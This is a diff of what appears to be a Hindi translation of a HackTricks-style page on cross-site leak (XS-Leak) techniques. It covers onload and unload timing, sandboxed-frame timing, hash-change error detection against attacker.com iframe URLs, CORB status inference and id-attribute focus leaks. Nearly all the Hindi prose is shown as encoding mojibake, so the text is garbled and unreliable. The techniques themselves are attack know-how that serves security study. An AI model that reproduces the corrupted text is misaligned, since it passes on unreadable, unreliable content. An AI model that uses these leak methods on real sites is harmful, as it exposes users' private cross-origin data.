рдЖрдзрд╛рд░рд┐рдд XS-Leaks рдХреЛ рднреА рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЕрдХреНрд╕рд░ рдзреАрдореЗ, рд╢реЛрд░ рд╡рд╛рд▓реЗ рдФрд░ рдЕрд╕рдВрдЧрдд рд╣реЛрддреЗ рд╣реИрдВред ## **Timing Based techniques** -рдХреБрдЫ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХрдиреАрдХреЗрдВ рд╕рдордп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реА рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреА рд╕рдВрднрд╛рд╡рд┐рдд рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рд╕рдордп рдорд╛рдкрдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВред +рдХреБрдЫ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХрдиреАрдХреЗрдВ рд╕рдордп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реА рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреА рд╕рдВрднрд╛рд╡рд┐рдд рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдПрдБ рдкрд╣рдЪрд╛рди рд╕рдХреЗрдВред рдПрдХ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рд╕рдордп рдорд╛рдкрдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВред **рдШрдбрд╝рд┐рдпрд╛рдБ**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЙрдЪреНрдЪ-рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди рд╕рдордп рдорд╛рдк рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред\ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рдкрд╛рд╕ рдирд┐рд╣рд┐рдд рдШрдбрд╝рд┐рдпрд╛рдБ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ APIs рд╣реИрдВ: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS рдПрдирд┐рдореЗрд╢рди, рдФрд░ рдЕрдиреНрдпред\ @@ -86,9 +86,9 @@ xs-search/cookie-bomb-+-onerror-xs-leak.md ### Onload Timing - **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) +- **Detectable Difference**: Timing (рдЖрдо рддреМрд░ рдкрд░ Page Content, Status Code рдХреЗ рдХрд╛рд░рдг) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдорд╛рдкрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЕрдиреНрдп рдШрдбрд╝рд┐рдпрд╛рдБ рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) рдЬреЛ 50ms рд╕реЗ рдЕрдзрд┐рдХ рд╕рдордп рддрдХ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИред +- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдорд╛рдкрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЕрдиреНрдп рдШрдбрд╝рд┐рдпрд╛рдБ рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬреИрд╕реЗ [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) рдЬреЛ 50ms рд╕реЗ рдЕрдзрд┐рдХ рд╕рдордп рддрдХ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИрдВред - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ: {{#ref}} @@ -97,7 +97,7 @@ xs-search/performance.now-example.md #### Onload Timing + Forced Heavy Task -рдпрд╣ рддрдХрдиреАрдХ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди **attacker** рдХреБрдЫ рдХреНрд░рд┐рдпрд╛ рдХреЛ **рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдорд╛рддреНрд░рд╛ рдореЗрдВ рд╕рдордп** рд▓реЗрдиреЗ рдХреЗ рд▓рд┐рдП рднреА **рдмрд▓ рджреЗрдЧрд╛** рдЬрдм **рдЙрддреНрддрд░ рд╕рдХрд╛рд░рд╛рддреНрдордХ рдпрд╛ рдирдХрд╛рд░рд╛рддреНрдордХ** рд╣реЛ рдФрд░ рдЙрд╕ рд╕рдордп рдХреЛ рдорд╛рдкреЗрдЧрд╛ред +рдпрд╣ рддрдХрдиреАрдХ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди **attacker** рдХреБрдЫ рдХреНрд░рд┐рдпрд╛ рдХреЛ **рдкреНрд░рд╡реГрддреНрдд** рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ **рд╕рдВрдмрдВрдзрд┐рдд рдорд╛рддреНрд░рд╛ рдореЗрдВ рд╕рдордп** рд▓рдЧреЗ рдЬрдм **рдЙрддреНрддрд░ рд╕рдХрд╛рд░рд╛рддреНрдордХ рдпрд╛ рдирдХрд╛рд░рд╛рддреНрдордХ** рд╣реЛ рдФрд░ рдЙрд╕ рд╕рдордп рдХреЛ рдорд╛рдкреЗред {{#ref}} xs-search/performance.now-+-force-heavy-task.md @@ -106,7 +106,7 @@ xs-search/performance.now-+-force-heavy-task.md ### unload/beforeunload Timing - **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) +- **Detectable Difference**: Timing (рдЖрдо рддреМрд░ рдкрд░ Page Content, Status Code рдХреЗ рдХрд╛рд░рдг) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) - **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдорд╛рдкрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рдЕрдиреНрдп рдШрдбрд╝рд┐рдпрд╛рдБ рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) @@ -116,12 +116,12 @@ xs-search/performance.now-+-force-heavy-task.md ### Sandboxed Frame Timing + onload - **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) +- **Detectable Difference**: Timing (рдЖрдо рддреМрд░ рдкрд░ Page Content, Status Code рдХреЗ рдХрд╛рд░рдг) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) - **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдорд╛рдкрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рдЕрдиреНрдп рдШрдбрд╝рд┐рдпрд╛рдБ рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдПрдХ рдкреГрд╖реНрда рдФрд░ рдЗрд╕рдХреЗ рдЙрдк-рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рдХреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдорд╛рдкрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдорд╛рдк рдЖрдорддреМрд░ рдкрд░ рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ iframe рдХрд╛ `onload` рд╣реИрдВрдбрд▓рд░ рдХреЗрд╡рд▓ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдбрд┐рдВрдЧ рдФрд░ JavaScript рдирд┐рд╖реНрдкрд╛рджрди рдХреА рд╕рдорд╛рдкреНрддрд┐ рдХреЗ рдмрд╛рдж рд╣реА рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдкрд░рд┐рд╡рд░реНрддрдирд╢реАрд▓рддрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ ` @@ -131,21 +131,21 @@ xs-search/performance.now-+-force-heavy-task.md - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content - **More info**: -- **Summary**: рдпрджрд┐ рдЖрдк рдкреГрд╖реНрда рдХреЛ рддреНрд░реБрдЯрд┐ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рд╕рд╣реА рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛рдП рдФрд░ рдЗрд╕реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдХреЛрдИ рднреА рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛рдП, рддреЛ рдЖрдк рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реВрдк рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рд╕рдордп рдорд╛рдкреЗред +- **Summary**: рдпрджрд┐ рдЖрдк рд╕рд╣реА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╕рдордп рдкреГрд╖реНрда рдореЗрдВ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рднреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╕рдордп рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реВрдк рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рд╕рдордп рдорд╛рдкреЗред - **Code Example**: рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЖрдк **iframe рдХреЗ рдЕрдВрджрд░** **рдЧреБрдкреНрдд** рд╕рд╛рдордЧреНрд░реА рд╡рд╛рд▓рд╛ **рдкреГрд╖реНрда** **рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ**ред -рдЖрдк **рдкреАрдбрд╝рд┐рдд рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдЬрд┐рд╕рдореЗрдВ "_**flag**_" рд╣реИ, рдПрдХ **Iframe** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП CSRF рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реБрдП)ред Iframe рдХреЗ рдЕрдВрджрд░ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ _**onload event**_ рд╣рдореЗрд╢рд╛ **рдХрдо рд╕реЗ рдХрдо рдПрдХ рдмрд╛рд░** **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрдЧрд╛ред рдлрд┐рд░, рдЖрдк **URL** рдХреЛ **iframe** рдХрд╛ **рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ** рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ **hash** рдХреЗ **рд╕рд╛рдордЧреНрд░реА** рдХреЛ рдмрджрд▓рдХрд░ред +рдЖрдк **рдкреАрдбрд╝рд┐рдд рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП** рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╣ "_**flag**_" рд╡рд╛рд▓рд╛ рдлрд╝рд╛рдЗрд▓ **Iframe** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦреЛрдЬреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП CSRF рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реБрдП)ред Iframe рдХреЗ рдЕрдВрджрд░ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ _**onload event**_ рд╣рдореЗрд╢рд╛ **рдХрдо рд╕реЗ рдХрдо рдПрдХ рдмрд╛рд░** **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрдЧрд╛ред рдлрд┐рд░, рдЖрдк **iframe** рдХреЗ **URL** рдХреЛ **рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ** рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ **hash** рдХреЗ **content** рдХреЛ рдмрджрд▓рдХрд░ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: 1. **URL1**: www.attacker.com/xssearch#try1 2. **URL2**: www.attacker.com/xssearch#try2 -рдпрджрд┐ рдкрд╣рд▓рд╛ URL **рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЛрдб** рд╣реБрдЖ, рддреЛ, рдЬрдм **hash** рднрд╛рдЧ рдХреЛ **рдмрджрд▓рд╛** рдЬрд╛рдПрдЧрд╛, рддреЛ **onload** рдШрдЯрдирд╛ **рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рд╣реЛрдЧреА**ред рд▓реЗрдХрд┐рди **рдпрджрд┐** рдкреГрд╖реНрда рдореЗрдВ **рд▓реЛрдбрд┐рдВрдЧ** рдХреЗ рд╕рдордп рдХреЛрдИ рдкреНрд░рдХрд╛рд░ рдХреА **рддреНрд░реБрдЯрд┐** рдереА, рддреЛ, **onload** рдШрдЯрдирд╛ **рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд░рд┐рдп рд╣реЛрдЧреА**ред +рдпрджрд┐ рдкрд╣рд▓рд╛ URL **рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЛрдб** рд╣реБрдЖ, рддреЛ, рдЬрдм рдЖрдк **URL** рдХреЗ **hash** рднрд╛рдЧ рдХреЛ **рдмрджрд▓рддреЗ рд╣реИрдВ**, рддреЛ **onload** рдЗрд╡реЗрдВрдЯ **рдлрд┐рд░ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рд╣реЛрдЧрд╛**ред рд▓реЗрдХрд┐рди **рдпрджрд┐** рдкреГрд╖реНрда рдореЗрдВ **рд▓реЛрдбрд┐рдВрдЧ** рдХреЗ рд╕рдордп рдХреЛрдИ рдкреНрд░рдХрд╛рд░ рдХреА **рддреНрд░реБрдЯрд┐** рдереА, рддреЛ, **onload** рдЗрд╡реЗрдВрдЯ **рдлрд┐рд░ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдЧрд╛**ред -рддрдм, рдЖрдк **рд╕рд╣реА** рд▓реЛрдб рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдпрд╛ рдкреГрд╖реНрда рдХреЗ рдмреАрдЪ **рдЕрдВрддрд░** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ **рддреНрд░реБрдЯрд┐** рд╣реИ рдЬрдм рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рддрдм, рдЖрдк **рд╕рд╣реА** рд▓реЛрдб рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдпрд╛ рдкреГрд╖реНрда рдХреЗ рдмреАрдЪ **рднреЗрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЬрд┐рд╕рдореЗрдВ **рддреНрд░реБрдЯрд┐** рд╣реИ рдЬрдм рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ### Javascript Execution @@ -164,7 +164,7 @@ xs-search/javascript-execution-xs-leak.md - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Status Code & Headers - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/) -- **Summary**: **Cross-Origin Read Blocking (CORB)** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╣реИ рдЬреЛ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ **Spectre** рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛ рд╕рдХреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЗ рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬрдм **CORB** рдХреЗ рдЕрдзреАрди рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ _**CORB рд╕рдВрд░рдХреНрд╖рд┐рдд**_ `Content-Type` рдХреЗ рд╕рд╛рде `nosniff` рдФрд░ `2xx` рд╕реНрдерд┐рддрд┐ рдХреЛрдб рд▓реМрдЯрд╛рддреА рд╣реИ, рддреЛ **CORB** рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╢рд░реАрд░ рдФрд░ рд╣реЗрдбрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рдкрд░ рдирдЬрд╝рд░ рд░рдЦрдиреЗ рд╡рд╛рд▓реЗ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдерд┐рддрд┐ рдХреЛрдб (рд╕рдлрд▓рддрд╛ рдпрд╛ рддреНрд░реБрдЯрд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛) рдФрд░ `Content-Type` (рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ **CORB** рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ) рдХреЗ рд╕рдВрдпреЛрдЬрди рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд▓реАрдХ рд╣реЛрдирд╛ рд╕рдВрднрд╡ рд╣реИред +- **Summary**: **Cross-Origin Read Blocking (CORB)** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╣реИ рдЬреЛ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ **Spectre** рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛ рд╕рдХреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЗ рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬрдм **CORB** рдХреЗ рдЕрдзреАрди рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ _**CORB protected**_ `Content-Type` рдХреЗ рд╕рд╛рде `nosniff` рдФрд░ `2xx` рд╕реНрдерд┐рддрд┐ рдХреЛрдб рд▓реМрдЯрд╛рддреА рд╣реИ, рддреЛ **CORB** рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╢рд░реАрд░ рдФрд░ рд╣реЗрдбрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рдкрд░ рдирдЬрд╝рд░ рд░рдЦрдиреЗ рд╡рд╛рд▓реЗ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдерд┐рддрд┐ рдХреЛрдб (рд╕рдлрд▓рддрд╛ рдпрд╛ рддреНрд░реБрдЯрд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛) рдФрд░ `Content-Type` (рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ **CORB** рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ) рдХреЗ рд╕рдВрдпреЛрдЬрди рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд░рд┐рд╕рд╛рд╡ рд╣реЛрддрд╛ рд╣реИред - **Code Example**: рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред @@ -177,7 +177,7 @@ xs-search/javascript-execution-xs-leak.md - **Summary**: id рдпрд╛ name attribute рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рд▓реАрдХ рдХрд░реЗрдВред - **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet) -рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк **iframe** рдХреЗ рдЕрдВрджрд░ рдПрдХ **рдкреГрд╖реНрда** **рд▓реЛрдб рдХрд░реЗрдВ** рдФрд░ **`#id_value`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдкреГрд╖реНрда **iframe рдХреЗ рддрддреНрд╡ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗ**ред рдпрджрд┐, рддрдм рдпрджрд┐ рдПрдХ **`onblur`** рд╕рдВрдХреЗрдд рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ, рддреЛ ID рддрддреНрд╡ рдореМрдЬреВрдж рд╣реИред\ +рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк **iframe** рдХреЗ рдЕрдВрджрд░ рдПрдХ **рдкреГрд╖реНрда** **рд▓реЛрдб** рдХрд░реЗрдВ рдФрд░ **`#id_value`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреГрд╖реНрда рдХреЛ **iframe рдХреЗ рддрддреНрд╡ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП 